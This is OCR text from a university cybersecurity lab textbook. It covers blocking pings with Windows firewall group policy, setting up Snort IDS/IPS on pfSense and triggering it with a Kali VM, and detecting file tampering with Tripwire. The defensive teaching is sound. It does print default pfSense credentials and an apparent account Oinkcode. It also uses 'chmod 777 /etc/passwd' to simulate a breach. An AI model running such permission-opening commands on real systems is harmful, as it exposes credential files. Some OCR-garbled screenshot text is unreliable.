1.7. Inthe scope screen enter the IP address of 212.10.10.6 to the remote IP address box by
clicking on add and entering the IP address. Click ok after entering the IP address and then click
next *

1.8. In the action screen click Block the connection and then click on next. In the profile screen
only click the Domain option and then click next. Name the rule something along the lines of

“Block Pings from 212.10.10.6" Then click on thefinish option 4

1.9. Inyour client machines update the group policy by entering the following command:

gpupdate /force

1.10. Try and ping the client machines from 212.10.10.6, the pings are now blocked due to the
newly created firewall rules.

2. Block outbound pings

2.1. Inthe local server screen right click on the tools option and then select the Expand Group
Policy Objects option 4

2.2. Click on the OU you created then right click on Firewall Rules and select the edit option 4
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2.3. Expand Policies and then expand Windows Settings and then Security Settings and then
Windows Defender Firewall with Advanced Security then select Windows Defender Firewall with
Advanced Security option 4

2.4. Once inside the Windows Firewall configuration wizard, select the green text that states
Outbound Rules

2.5. In the Inbound rules section, click on the text that states New Rule on the right-hand side
of the screen

2.6. Select the Custom option and click next then click next again, then in the Protocol and Ports
screen select ICMPv4 from the protocol type drop down. (Figure 4) Then click on the customize
option towards the bottom, clickspecific ICMP types option and then tick the Echo Requests option
then click ok and then next (Figure 5)

2.7. Inthe scope screen enter the IP address of 212.10.10.6 to the remote IP address box by
clicking on add and entering the IP address. Click ok after entering the IP address and then click

next 4

2.8. In the action screen click Block the connection and then click on next. In the profile screen
only click the Domain option and then click next. Name the rule something along the lines of

“Block pings from 212.10.10.6" Then click on the finish option 4

2.9. Inyour client machines update the group policy by using the following command:

gpupdate /force

2.10. Try and ping 212.10.10.6 from the client machines, the pings are now blocked due to the
newly created firewall rules

2.11. The above two rules show how a firewall can block pings from coming in and it can block
users within a domain from pinging a client on another domain and IP range.

End of Lab

Deliverables

5 screenshots are needed to receive credit for this exercise:

. Labeled GNS3 workspace

J Router configurations
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. Screenshots of:

o Blocked pings to the client 212.10.10.6

o Blocked pings to 212.10.10.6 from the client machines

+  Assignment 1 - Firewall rules recap

o Create another client device clone
o Add that clone to the management domain network & assign it an IP
o Connect the clone to the server & update its group policy

o Try and ping the devices from the above steps
= Screenshot the blocked pings from the newly added clone
+  Assignment 2 - Research a firewall rule

° Take some time to research recommend firewall rules (use trusted sources)

o Trytoimplement said rule that was found

= Screenshot the rule either working or not working

=  Write a small (1 -2 paragraph) response on what rule you chose, why you chose
that rule, and whether was it able to be implemented

. In your response, ALL sources should be listed

Figures for Printed Version

Figure 2 - Router address list
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Figure 3 - Pings from 200.200.200.6 (Firewall Server) to ISP client allowed
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Figure 4 - Blocking pings
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CHAPTER 34

Network Monitoring - Snort Network IDS/IPS

JULIAN ROMANO AND JACOB CHRISTENSEN

This chapter will guide learners to install and configure Snort as an Intrusion Detection System (IDS) and an
Intrusion Prevention System (IPS) for their enterprise network. Many companies may spend upward of tens of
thousands of dollars on IDS and IPS devices for their security needs. Luckily for us, Snort is free to use and
experiment with.

LEARNING OBJECTIVES

+ Install the Snort Package into the pfSense Server
+ Configure Snort to be an effective IDS and IPS

+ Trigger alerts to test Snort rules against threats

PREREQUISITES

+ Chapter 12 - Create a Kali Linux YM

+ Chapter 31 - pfSense Intranet

DELIVERABLES

4 screenshots are needed to earn credit for this exercise:

+ Screenshot of GNS3 Working environment once everything works
+ Screenshot of the pfSense GUI page after sign in

+ Screenshot of alert notifications through snort

RESOURCES

+ Special thanks to

o Netgate Documentation - Configuring the Snort Package - https://docs.netgate.com/pfsense/
en/latest/packages/snort/setup.html
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CONTRIBUTORS AND TESTERS

+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott
« Zeek Correa, Cybersecurity Student, ERAU-Prescott
+ Jungsoo Noh, Cybersecurity Student, ERAU-Prescott

Phase | - Setting up the Lab

The following steps are to create a baseline environment for completing the lab. It makes assumptions about
learner knowledge from completing previous labs.
This lab is an extension of Chapter 31:
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INTERNET
192.168.122.0/24
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Figure 1 - Final GNS3 network

1. Open GNS3

1.1. Open the lab made in Chapter 31

1.2. Save it as a new project: LAB_19

2. Set up GNS3 as shown in the network diagram above
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NOTE: This example uses version 2.7.2 of pfSense Community Edition.

3. Start and login to the PC on the Management LAN

3.1. Open a browser and type in https://99.99.99.1/ to connect to the
pfSense web configuration page

NOTE: Remember to use the default creds to login:
- Username: admin
- Password: pfsense

TightVNC: x11
Bl pfsense-Login x +

<« C { A Notsecure | 99.99.99.1/index.php

@ Debianorg @ LatestNews @ Help

[Jisense p—

SIGN IN

admin

SAGN IN
d

Figure 2 - pfSense web configurator login page

4. In the pfSense GUI, navigate to System->Package Manager to install Snort

4.1. Click on Available Packages, search for “snort”


https://atxfiles.netgate.com/mirror/downloads/

SNORT IDS/IPS

NOTE: If you are having trouble getting this to work, ensure that pfSense is fully updated

(System->Update) and that its WAN interface (ISP) is receiving a DHCP address from the NAT
cloud.

TightVNC: x11

FZi pfSense.home.arpa - System: P: X +

< C + A Notsecure | 99.99.99.1/pkg_mgr.php

@ Debianorg @ LatestNews @ Help
COMMUNITY EDITION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

System / Package Manager/ Available Packages

Installed Packages  Available Packages

Search term snort Both v (o} Se?{ch

Enter a search string or *nix regular expression to search package names ar

nd descriptions

Packages
Name Version Description

snort  4.1.6_17 Snort is an open source network intrusion prevention and detection system (IDS/IPS). Combining the benefits of
p P i 9 == Install
signature, protocol, and anomaly-based inspection.

Package Dependencies:
@ snort2.9.20_8

pfSense Netgate. View license.

Figure 3 - pfSense package manager

4.2. Clickinstall and Confirm to begin the Snort installation process

4.3. Once completed, you should now see Snort listed under the Installed Packages tab

623
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TightVNC: x11

Bl pfSensehome.arpa- System: Pac X +

&« C {+ A Notsecure | 99.99.99.1/pkg_mgr_installed.php
@ Debianorg @ LatestNews @ Help
Esense System ~ Inter

5 Firewall ~
COMMUNITY EDITION

WARNING: The 'admin’ account password is set to the default value. Change the password in the User Manager.

System / Package Manager/ Installed Packages

Installed Packages

Available Packages

Installed Packages

Name Category Version Description Actions
& snort security 4.1.6_17 Snortis an open source network intrusion prevention and detection system (IDS/IPS). Combining the o3
benefits of signature, protocol, and anomaly-based inspection. i

1
K

Package Dependencies:
@ snort-2.9.20_8

5 =Update " = Current

IJ_Il' = Remove i = Information T3 = Reinstall

Package is configured but not (fully) installed or deprecated

pfSense Netgate. Wiew license.

Figure 4 - Snort package installed on pfSense server

Phase Il - Enable and Configure Snort in pfSense

In this section we will setup Snort and configure the rules needed to make our IDS effective.

1. Navigate to Services-->Snort

2. Select the Global Settings tab and enable the download of various pre-configured rulesets (Figure 5)

2.1. Click on Enable Snort VRT is selected

2.2. Enter the Snort Oinkmaster Code associated with your snort.org account

NOTE: If you do not have a snort account, clickSign Up for a free Registered User Rules Account.
You may not have internet on your VM, so you can go here on your host machine. Once taken



https://eaglepubs.erau.edu/app/uploads/sites/10/2023/09/snort-rules.png
https://snort.org/users/sign_up

SNORT IDS/IPS 625

to the sign up page, provide an email and password for your free snort account. You can find
your Oinkcode on the left-hand navigation bar which can be copy/pasted in the VM (Eigure 6).

2.3. Click on Enable Snort GPLv2
2.4. Click on Enable ET Open
2.5. Click on Enable OpenAppID
2.6. Scroll down to the bottom of the page and click Save
3. Select the Updates tab (Figure 7)
3.1. Under the Update Your rule Set section, click Update Rules

3.2. This should take a few minutes to complete...

4. Click on the Snort Interfaces tab

4.1. Click Add and make the following changes to allow Snort to monitor the ISP interface

(Eigure 8)
Interface ISP (em0)
Description Snort enabled on WAN interface

Send Alerts to System Log Selected (checked/enabled)
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4.1.1. Scroll to the bottom and click Save
4.1.2. Select ISP Categories and make the following changes (Figure 9)
4.1.2.1. Click on Use IPS Policy
4.1.2.2. Inthe IPS Policy Selection drop-down menu, choose Balanced

4.1.2.3. Under Select the rulesets Snort will load at startup, click Select All and
then Save (Figure 10)

4.2. Repeatthe Step 4.1 to install Snort on pfSense’s Management interface

5. Return the Snort Interfaces tab and select Start next to ISP (em0) and MANAGEMENT (em1)

Services / Snort/ Interfaces

Snort Interfaces  Global Settings Updates Alerts Blocked PassLists Suppress IPLists SIDMgmt LogMgmt Sy

Interface Settings Overview

Interface Snort Status  Pattern Match  Blocking Mode  Description
0O ISP (em0) Q ?h AC-BNFA DISABLED Snort enabled on WAN interface
) MANAGEMENT (em1) (] C‘* Start snort on this interface | DISABLED Snort enabled on MANAGEMENT interface

Figure 11 - Starting Snort service on pfSense interfaces

Phase Il - Testing Snort’s IDS

Once it starts, you will see a green check mark. MAKE SURE SNORT IS RUNNING! In this section of the textbook,
we will focus on testing our system (although not necessarily attacking it). It is important to note that we are not
testing software itself, but the rules on that software.

1. To simulate a malicious intruder breaching your network, place a Kali Linux VM within the
Management LAN

NOTE: Ensure it receives an IP address from the pfSense DHCP server!
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MANAGEMENT
99.99.99.0/24
IT-ADMIN PURPLE-SWITCH
&3
kali-2024
c] &

Figure 12 - Adding a Kali box to the Management subnet

2. Inthe pfSense GUI, navigate to Services->Snort->Alerts
2.1. In the Interface to Inspect drop-down menu, select MANAGEMENT (em1)
2.2. Select Auto-refresh view and click Save
2.3. You should see log entries below warning you of a potential security breach due to the
“Kali Linux" hostname found in its DHCP requests. Due to Kali's multitude of pre-installed

penetration software tools, it should be concerning to see it suddenly appear on your network if
you know it shouldn't be there
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TightVNC: x11

Bl pfSensehome.arpa-Services: 51 X +
e

C {3 A Notsecure | 99.99.99.1/snort/snort_alerts.php

@ Debianorg @ LatestNews @ Help

Services / Snort/ Alerts

Snort Interfaces  Global Settings  Updates  Alerts Blocked Passlists Suppress |IPLists SIDMgmt LogMgmt Sync

Alert Log View Settings

Interface to Inspect | MANAGEMENT "_| ] Auto-refresh 250 m
Choose interface.. view Alert lines to display.

Alert Log View Filter

| Save auto-refresh and view settings |

4 Entries in Active Log
Date Action Pri Proto Class Source IP SPort Destination IP DPort GID:SID Description

2024-05-27 1 upp Potential 0.0.00 68 255.255.255.255 67 1:2022973 ET POLICY Possible
23:02:11 Corporate Q Q x Kali Linux hostname

Privacy in DHCP Request
Violation Packet

2024-05-27 Potential 0.0 255.255.255.255 67 1:2022973 ET POLICY Possible
23:02:06 Corporate Q x Kali Linux hostname

Privacy in DHCP Request
Violation Packet

2024-05-27 Potential 255.255.255.255 67 1:2022973 ET POLICY Possible
23:01:56 Corporate X Kali Linux hostname

Figure 13 - Snort IDS alerts

Phase IV - Intrusion Prevention System

By adjusting a few rules, we can turn our Intrusion Detection System into an Intrusion Prevention System.

1. In the pfSense GUI, navigate to Services->Snort->Interfaces

1.1. Next to Management, under Actions, select Edit
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ng Mode  Description Actions
ILED Snort enabled on WAN interface &
ILED Snort enabled on MANAGEMENT interface f‘ﬁ'ﬁ

Edit this Snort interface mapping

- Delete I

Figure

1.2. Scroll down to Block Settings and select Block Offenders

Block Settings

Block Offenders Checking this option will automatically block hosts that generate a Snort alert. Default is Not Checked.

IPS Mode Legacy Mode v

Select blocking mode operation. Legacy Mode inspects copies of packets while Inline Mode inserts the Snort inspection
engine into the network stack between the NIC and the 0S. Default is Legacy Mode.

Legacy Mode uses the PCAP engine to generate copies of packets for inspection as they traverse the interface. Some
"leakage" of packets will occur before Snort can determine if the traffic matches a rule and should be blocked. Inline mode
instead intercepts and inspects packets before they are handed off to the host network stack for further processing.
Packets matching DROP rules are simply discarded (dropped) and not passed to the host network stack. No leakage of
packets occurs with Inline Mode. WARNING: Inline Mode only works with NIC drivers which properly support Netmap!
Supported drivers: bnxt, cc, cxgbe, cxl, em, em, ena, ice, igb, igc, ix, ixgbe, ixl, lem, re, vmx, vinet. If problems are experienced
with Inline Mode, switch to Legacy Mode instead.

Kill States Checking this option will kill firewall established states for the blocked IP. Default is checked.

Which IP toBlock | BOTH v

Select which IP extracted from the packet you wish to block. Default is BOTH.

Figure

1.3. Save this configuration change and return to theSnort Interfaces list

2. Restart Snort on the Management interface

3. Now Snort will block machines from communication with the network once they are identified as
threats

End of Lab

Deliverables

4 screenshots are needed to earn credit for this exercise:
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+  Screenshot of GNS3 Working environment once everything works
«  Screenshot of the pfSense GUI page after sign in
+  Screenshot of alert notifications through snort

+  Screenshot of block notifications through snort

Assignment 1 - Add a new network and ICMP Detected rule

+  Add a new network to the environment
«  Add asnort rule creating an alert if ICMP from the new network is detected

c RECOMMENDED GRADING CRITERIA:

° Screenshot of GNS3 environment

o Screenshot of ICMP Detected from Snort Alerts Log
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Figures for Printed Version

TightVNC: x11

pfSense.home.arpa - Services: 51 X +

of]
& C { A Notsecure | 99.99.99.1/snort/snort_interfaces_global.php < % XA
(5]

Debianorg @ Latest News @ Help

Snort Subscriber Rules

Enable Snort VRT Click to enable download of Snort free Registered User or paid Subscriber rules

Sign Up for a free Registered User Rules Account
Sign Up for paid Snort Subscriber Rule Set (by Talos)

Snort Oinkmaster 2b3ded0f56c12cacela785e72e2a7aaled216b7e

Code Obtain a snort.org Oinkmaster code and paste it here. (Paste the code only and not the URL')

Snort GPLv2 Community Rules

Enable Snort GPLv2 Click to enable download of Snort GPLv2 Community rules

The Snort Community Ruleset is a GPLv2 Talos certified ruleset that is distributed free of charge without any Snort
Subscriber License restrictions. This ruleset is updated daily and is a subset of the subscriber ruleset.

Emerging Threats (ET) Rules
Enable ET Open Click to enable download of Emerging Threats Open rules
ETOpen is an open source set of Snort rules whose coverage is more limited than ETPro.
Enable ET Pro [J Click to enable download of Emerging Threats Pro rules

Sign Up for an ETPro Account
ETPro for Snort offers daily updates and extensive coverage of current malware threats.

Sourcefire OpenApplID Detectors

Enable OpenApplD Click to enable download of Sourcefire OpenApplD Detectors

Figure 5 - Snort rules to download
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(= Sign Out

SN

vejav 19590@huleos.com

Oinkcode
INKCoae

2b3ded@f56c12cacela78be72e2aiaalded216b7e

Subscription

Receipts
Regenerate

False Positive

e Documentation and Resources
Resources How to use your cinkcode

Informational and instructional resources for Snort 2 and Snort 3

Figure 6 - Obtaining Oinkcode from snort.org
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TightVNC: x11
of] pfSense.home.arpa - Services: X +
& C {y A Notsecure | 99.99.99.1/snort/snori_download_updates.php

@ Debianorg @ LatestNews @ Help

msenSe System G ~ Firewall ~

COMMUNITY EDMTION

Services / Snort/ Updates

Snort Interfaces  Global Settings  Updates  Alerts Blocked PassLlists Suppress |IPLists SIDMgmt LogMgmt Sync

Installed Rule Set MD5 Signature

Rule Set Name/Publisher MD5 Signature Hash MD5 Signature Date
Snort Subscriber Ruleset Not Downloaded Not Downloaded
Snort GPLv2 Community Rules Not Downloaded Not Downloaded
Emerging Threats Open Rules Not Downloaded Not Downloaded
Snort OpenApplD Detectors Not Downloaded Not Downloaded
Snort ApplD Open Text Rules Not Enabled Not Enabled

Feodo Tracker Botnet C2 IP Rules Not Enabled Not Enabled

Update Your Rule Set

Last Update Unknown Result: Unknown
Update Rules

Click UPDATE RULES to check for and automatically apply any new posted updates for selected rules packages. Clicking

Figure 7 - Snort updates tab
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TightVNC: x11
B pfsensehome.arpa-Services: 51 X 4
& C {y A Notsecure | 99.99.99.1/snort/snori_interfaces_edit.php?id=0

@ Debianorg @ LatestNews @ Help

General Settings

Enable Enable interface

Interface ISP (em0) hd

Choose the interface where this Snort instance will inspect traffic

Description Snort enabled on WAN interface

Enter a meaningful description here for your reference.

Snap Length 1518

Enter the desired interface snaplen value in bytes. Default is 1518 and is suitable for most applications.
Alert Settings

Send Alerts to Snort will send Alerts to the firewall's system log. Default is Mot Checked.
System Log

System Log Facility LOG_AUTH v

Select system log Facility to use for reporting. Default is LOG_AUTH.

System Log Priority LOG_ALERT hd

Select system log Priority (Level) to use for reporting. Default is LOG_ALERT.

Enable Packet [_J Checking this option will automatically capture packets that generate a Snort alert into a tcpdump compatible file
Captures

Enable Unified2 [_] Checking this option will cause Snort to simultaneously log alerts to a unified2 binary format log file in the logging
Logging subdirectory for this interface. Default is Not Checked.

Figure 8 - Snort configuration settings for ISP interfaces
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TightVNC: x11

of] pfSense.home.arpa - Services: ¢ X +

& C {y A Notsecure | 99.99.99.1/snort/snort_rulesets.php?id=0

@ Debianorg @ LatestNews @ Help

mSEHSQ Sy - Firewall ~ Services + VPN -~ Status ~ Diagnc
COMMUNITY EDMTION

Services / Snort/ Interface Settings / ISP - Categories

Snort Interfaces  Global Settings  Updates  Alerts  Blocked

Pass Lists Suppress IPLists SIDMgmt LogMgmt Sync

ISP Settings ISP Categories ISP Rules ISP Variables ISP Preprocs ISPIPRep ISP Logs

Automatic Flowbit Resolution

Resolve Flowbits If checked, Snort will auto-enable rules required for checked flowbits. Default is Checked.

Snort will examine the enabled rules in your chosen rule categories for checked flowbits. Any rules that set these dependent

flowbits will be automatically enabled and added to the list of files in the interface rules directory.

Snort Subscriber IPS Policy Selection

Use IPS Policy If checked, Snort will use rules from one of three pre-defined IPS policies in the Snort Subscriber rules. Default is Not
Checked.

Selecting this option disables manual selection of Snort Subscriber categories in the list below, although Emerging Threats
categories may still be selected if enabled on the Global Settings tab. These will be added to the pre-defined Snort IPS
policy rules from the Snort VRT.

IPS Policy Selection Balanced w
Snort IPS policies are: Connectivity, Balanced, Security or Max-Detect.
Connectivity

blocks most major threats with few or no false positives. Balanced is a good starter policy. It is spe

Figure 9 - Snort policies to enforce
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TightVNC: x11

B pfsensehome.arpa-Services: 51 X 4

c A Notsecure | 99.99.99.1/snort/snort_rulesets.php
PO

<
5]

Debianorg @ Latest News @ Help

IPS Policy Selection Balanced v

Snort IPS policies are: Connectivity, Balanced, Security or Max-Detect.

Connectivity blocks most major threats with few or no false positives. Balanced is a good starter policy. It is speedy, has
good base coverage level, and covers most threats of the day. It includes all rules in Connectivity. Security is a stringent
policy. It contains everything in the first two plus policy-type rules such as a Flash object in an Excel file. Max-Detectis a
policy created for testing network traffic through your device. This policy should be used with caution on production
systems!

Select the rulesets (Categories) Snort will load at startup

Q- Category is auto-enabled by SID Mgmt conf files

Q- Category is auto-disabled by SID Mgmt conf files
| Add all categories to enforcing rules |

Enable Ruleset: Snort GPLv2 Community Rules
Snort GPLv2 Community Rules (Talos certified)

Snort OPENAPPID rules
Enable Ruleset: ET Open Rules Enable Ruleset: Snort Text Rules Enable Ruleset: Snort SO Rules are not enabled.

emerging-activex.rules snort_app-detect.rules snort_browser-
chrome.so.rules

emerging- snort_attack-responses.rules snort_browser-ie.so.rules
attack_response.rules

emerging- snort_backdoor.rules snort_browser-
botcc.portgrouped.rules other.so.rules

emerging-botcc.rules snort_bad-traffic.rules snort_browser-
webkit.so.rules

Figure 10 - Selecting all rulesets to enforce
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CHAPTER 35

System Hardening - Tripwire HIDS

JACOB CHRISTENSEN AND BERNARD CORREA

Tripwire is a Host-based Intrusion Detection System (HIDS) that can monitor for unauthorized file and directory
modification on local systems. By recording specific aspects of a file (such as its hash, timestamp of last
modification, and permissions), Tripwire will create an encrypted database to use as a baseline reference when
cross-checking files for changes. If any discrepancies are found, this program will generate a report of its findings
and alert the administrator.

In this chapter, you will learn how to integrate Tripwire on a stand-alone Ubuntu server environment, set
up custom rulesets, monitor for intrusion attempts, and finally automate the process with scheduled scans.
In the context of cybersecurity, Tripwire should be considered a last line of defense in a well-layered security
environment. It is intended to work in unison with other security measures such as firewalls and backup servers.
Remember, HID systems can only alert to suspicious activity, they cannot prevent damage from taking place.

Estimated time for completion: 50 minutes

LEARNING OBJECTIVES

+ Successfully install Tripwire and Postfix

* Modify and integrate Tripwire configuration on a Linux Host
+ Write policy files to protect critical systems

+ Detect modifications to critical systems

+ Automate timed scans using Crond

PREREQUISITES

+ Chapter 7-Create a Linux Server

DELIVERABLES

+ Screenshot of Tripwire database
+ Screenshot of Tripwire scan showing no errors

+ Screenshot of Tripwire scan working showing a policy violation

637



638 MATHEW J. HEATH VAN HORN, PHD

+ Screenshot of crontab with scheduled Tripwire job

RESOURCES

« Tripwire is a very well documented program. If you are interested in learning more about it beyond what
this lab offers, consider looking through its man pages. This is also a good resource to use for
troubleshooting!

o twintro Linux man page - https://linux.die.net/man/8/twintro

o twfiles Linux man page - https://linux.die.net/man/5/twfiles

o tripwire Linux man page - https://linux.die.net/man/8/tripwire

o twpolicy Linux man page - https://linux.die.net/man/4/twpolicy

o twadmin Linux man page - https://linux.die.net/man/8/twadmin

o twconfig Linux man page - https://linux.die.net/man/4/twconfig

o twprint Linux man page - https://linux.die.net/man/8/twprint

CONTRIBUTORS AND TESTERS

+ Kyle Wheaton, Cybersecurity Student, ERAU-Prescott
+ Mahalia Phillips, Cybersecurity Student, ERAU-Prescott

Phase | -Installing Tripwire and Postfix

The objective of these steps are to learn how to install Tripwire on a Linux machine. This program uses public/
private key pairs (here known as Site and Local keys) to sign and encrypt files of interest. We will go through the
process of how to generate these keys to ensure Tripwire remains secure against unauthorized modification.

IMPORTANT NOTE: Because of the way this editor formats the text, double hyphens (- -) are automatically
combined to make one, longer hyphen (-). Look at the example below:

One hyphen - Two hyphens —

This makes it difficult for everyone, because it can be hard to differentiate between terminal commands that
are prefaced with double hyphens and commands that only use a single hyphen. For this reason, if you see a
backslash (\) between two hyphens, this means it is a double hyphen! Do not type the slash!

One hyphen -

Two hyphens -\-

In the example below, you would type ip - -color address (without the space!). Do not type ip -\- color address!



https://linux.die.net/man/8/twintro
https://linux.die.net/man/5/twfiles
https://linux.die.net/man/8/tripwire
https://linux.die.net/man/4/twpolicy
https://linux.die.net/man/8/twadmin
https://linux.die.net/man/4/twconfig
https://linux.die.net/man/8/twprint
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> ip -\-color address

1. Start a Ubuntu Server VM and log as root

NOTE: Ensure your VM has internet connection by modifying the the network settings in VirtualBox.
Ensure that it is attached to NAT and that Cable Connected is selected.

Ubuntu_Server2 - Settings

General Network
Adapter 1

Display
Storage Attached to: NAT
Audio
Network ¥ Advanced
Serial Ports
UsB
Shared Folders

E mer (Fler s Cable Connected

Port Forwarding

Figure 1 - Ubuntu Server network settings

2. From the terminal, update your package list and install the Tripwire

> apt update && apt install tripwire -y

2.1. In the Postfix Configuration page, use the arrow keys to highlight No configuration and
press Tab to select Ok (Figure 2)

NOTE: Since Tripwire has a built-in email notification system used to send updates when



https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/tripwire-postfix-config.png
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reports are generated, the Postfix mail server will also be installed. However, email
configuration is beyond the scope of this lab (for now).

2.2. When prompted if you wish to create your site key passphrase, press Tab to select No
(Eigure 3)

NOTE: We do not want to create the keys at this stage, for they will temporarily be stored,
unencrypted, in memory.

2.3. When prompted if you wish to create you local key passphrase, press Tab to select No
(Figure 4)

2.4. Enter Ok after Tripwire has been installed (Figure 5)

NOTE: At any time you may use the following command to return to the Tripwire
configurator:

> dpkg-reconfigure tripwire

3. To confirm Tripwire was successfully installed, you should now see the following files in the newly
created/etc/tripwire directory

total 12

-ru-r--r-- 1 root root 510 Mow 10
-ru-r--r-— 1 r root 6057 Mow 10
root@ubuntuserver: T#

Figure 6 - Tripwire configuration files

4. By default, processes in Linux typically use /tmp to store short-lived data. For enhanced security, it is
recommended to create a new directory with more restrictive permissions for Tripwire to use

4.1. Create directory called tmp in /var/lib/tripwire

> mkdir /var/lib/tripwire/tmp

4.2. Modify its default permissions such that only the owner (root) has read, write, and execute



https://eaglepubs.erau.edu/app/uploads/sites/10/2024/05/tripwire-package-config-site-key.png
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(rwx) privileges

> chmod 700 /var/lib/tripwire/tmp

“# 1z -1d SLlibstripwirestmp
root 4096 May
o

Figure 7 - Updated directory permissions

5. Navigate back to the primary Tripwire configuration directory

> cd /etc/tripwire

6. Since we didn't do this during installation, create new encryption keys

6.1. Generate a new local key

> twadmin -\-generate-keys -L SHOSTNAME-local.key -K 2048

Switch Description

-generate-keys Sets twadmin to “generate keys” mode.

-L Specifies the file name and location of the local key.
-K Specifies the key size to 2048 bits.

6.2. Generate a new site key

> twadmin -\-generate-keys -S site.key

6.3. Secure both files such that only root has read and write (rw-) permissions

> chmod 600 /etc/tripwire/*.key
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root@ubun

root root
-ry-r--r-- 1 root root
-ry-r--r-- 1 root root

r ver-local.key

root@dubuntus

Figure 8 - Tripwire directory listing

Phase Il - Tripwire Configuration and Policy Files

Tripwire uses two primary files for configuration: tw.cfg and tw.pol. The former contains information that is
specific to the system (such as file paths and email settings) which are organized in an OPTION=value format.
The latter is known as the Policy File, wherein the program'’s rulesets are stored. Each rule specifies the files and
directories that needs to be monitored. Rules are laid out in the format
/path/to/object -> attribute to monitor. For example:

This rule tells Tripwire to verify that all files in John’s Documents folder are still present.
/home/john/Documents -> $(IgnoreAll)

This rule tell Tripwire to monitor the sudo binary for any changes.

/usr/bin/sudo -> $(ReadOnly)

For additional information about either file and their syntax, you should read through the twconfig and twpolicy
man pages. However, we first need to write out our files in plaintext before signing/encrypting them in a “Tripwire-
readable” format. By default, you should be provided with two files to get you started - twcfg.txt and twpol.txt -
which we verified existed in Phase I.

1. Ensure that you are still in the /etc/tripwire directory
2. Create a new Tripwire configuration file

2.1. Modify the information in the file twcfg.txt with the following changes


https://linux.die.net/man/4/twconfig
https://linux.die.net/man/4/twpolicy
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# Created by Bernard Correa 5/

ROOT
FOLFILE
DBEFILE

I'II'1F EFORTIMG
MAILMETHOD
SMTPHOST
SMTFPORT
TEHFDIRECTORY

cAlibAtripnirestmp

Figure 9 - Tripwire configuration file

2.2. Using our site key and twcfg.txt, create, encode, and save a new configuration file

> twadmin -\-create-cfgfile -S site.key twcfg.txt

3. Create a new policy file to monitor /etc/passwd and /etc/shadow

NOTE: Although Tripwire provides us with a pre-made policy file (twpol.txt) that works pretty well out
of the box, it's too complicated for the scope of this lab. Therefore, we will create a new, smaller policy
file with rules that will specifically monitor /etc/password and /etc/shadow. These files are critical to
Linux security and should never be changed unless an administrator adds or removes users from the
system, which makes them perfect for testing.

3.1. Open a new text file callednew_policy.txt

3.2. Populate the file with the following information
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'in ne
tion FY

L oand
to how

bhe made.

rulename = '"Critical system user files",

severity = 100
~an alert 1if

on th fi

# Logical end of policy file
@dend

Figure 10 - Tripwire policy file

3.3. Using our site key and new_policy.txt, create, encode, and save a new policy file

> twadmin -\-create-polfile -S site.key new policy.txt

4. Now that everything is setup, you should now have the following files listed in /etc/tripwire

root
root
root

—r-r—--r-- 1 root root

-t u-r—-r-- 1 root root
-t u-r—-r-- 1 root root

1 root [ ' erver-local. key
root@ubuntuserver: fetocstripuired _

Figure 11 - Tripwire directory listing

NOTE: When wanting to update or edit the config the same command can be used. When editing the
policy file a different command must be used
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Phase Il - Initializing the Tripwire Database

Tripwire works by creating it's own database from the files that are given to it by the policy file. As mentioned
in Phase Il, Tripwire can record many attributes about a file or directory including its size, date/time it was last
modified, date/time is last accessed, its hash, and more. When an administrator executes Tripwire to do an
integrity check, it will look at files specified by the policy ruleset and compare them to the information in the
database. If any discrepancies are found, an alert will be generated.

1. Initialize a new Tripwire database

NOTE: The database is stored as a .twd file in the /var/lib/tripwire directory.

> tripwire -\-init

2. Verify that the database was created and monitoring the correct files

2.1. Print the database in plaintext format

> twprint -\-print-dbfile | less

2.2. Database Summary

Under Database Summary, you should see information such as the configuration files used
to generate it, the command used to initialize it, and some basic data about the host machine.
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=T name:
b IF addre

Command line u

Figure 12 - Database overview

2.3. Object Summary

The Object Summary section gives a general overview of the objects to monitor. You
should have two entries here.

tion: Unix File S

Modify Time

root (0] 1387 Thu 30 May 2024 05:00:16 PM UTEC

root ([0} 121¢ Thu 30 May 2024 05 16 PM UTC

Figure 13 - Monitored objects

2.4. Object Detail

Finally, Object Detail lists every attribute (property) that is recorded for each monitored
object. When an integrity check is performed, these same attributes are compared against the
expected values, as shown in the right column.
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Object name:

Froperty:

—ru-r--r--

1

root (o)

root (o)

1987

Thu 30 May 2024 05:00:16 PM
B/EFAO
DGENrrESsABPYZLOGIvoxTa

Object name: Jetc/shadow

Froperty:

Thu 30 May 2024 05:00:16 PM

Figure 14 - Recorded object attributes

Phase IV - Tripwire Integrity Checks

Now that we examined the database, let's run a scan on the system using Tripwire.

1. Perform an integrity check on the machine

> tripwire -\-check

1.1. View the report that was generated in/var/lib/tripwire/report

647
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NOTE: As specified in our configuration file, reports are labeled based on the machine’s
hostname and time the scan was conducted.

> twprint -\-print-report -r ubuntuserver-20240530-210804.twr | less

1.2. You should notice in the Rule Summary section that both files were scanned with no
(hopefully) violations

Rule Name erity Level

ined: 2
found: 0

Figure 15 - No violations found

2. Test Tripwire’s intrusion detection capabilities

2.1. To simulate a malicious breach on our system, modify the permissions of /etc/password
so that everyone has read and write access to the file

> chmod 777 /etc/passwd

Figure 16 - Open permissions

2.2. Use Tripwire to re-scan the system

NOTE: The interactive switch allows us to go through potential violations and choose
whether or not to update the database with the new values. In this example, since we set the
EDITOR value to /usr/bin/vi in the configuration file in Phase Il, the editor program will be vi.

> tripwire -\-check -\-interactive

2.3. Under Rule Summary, we should see that 1 violation was found
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649

Eule Mame

Total wino afiuna found: 1

Figure 17 - One violation found

2.4. Under Object Detail, we can see exactly what properties have changed. Notice how the
Inode number, mode (privileges), and modify timestamps are all marked with an asterisk (*),
denoting that the observed values are different from the expected

Mumber
Mumber
—ru-r-—r--
1
root
P

Figure 18 - List of property modifications

2.5. Under Object Summary, remove the X next to /etc/passwd to prevent the database from
updating its “excepted values” with the new “observed values”

NOTE: Leave the X there if you want to update the database with acceptable changes.

Remove the "x'" from the adjacent box to prevent updating the databas
with the new values for this object.

Modified:

Figure 19 - Do not update database with changes

2.6. Save and exit the editor
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3. Fix the violation and update the database

3.1. Change the permissions of /etc/passwd back its default value

> chmod 644 /etc/passwd

3.2. Re-scan the system

> tripwire -\-check -\-interactive

3.3. Now that the permissions are fixed, there will (hopefully) be no further violations

Figure 20 - No violations are found

3.4. Save and exit the editor

Phase V - Automating Tripwire Scans with Cron

Now that we know how to configure Tripwire, set policies, and scan for violations of those policies, let's
automate the process with cron! This is a simple program that is pre-installed on most Linux distributions and can
run scheduled tasks (e.g. commands and scripts) at user-defined times. To quickly summarize the jargon here,
tasks in cron are called jobs which is stored in a cron table (or crontab). Each user can have their own crontabs,
including root.

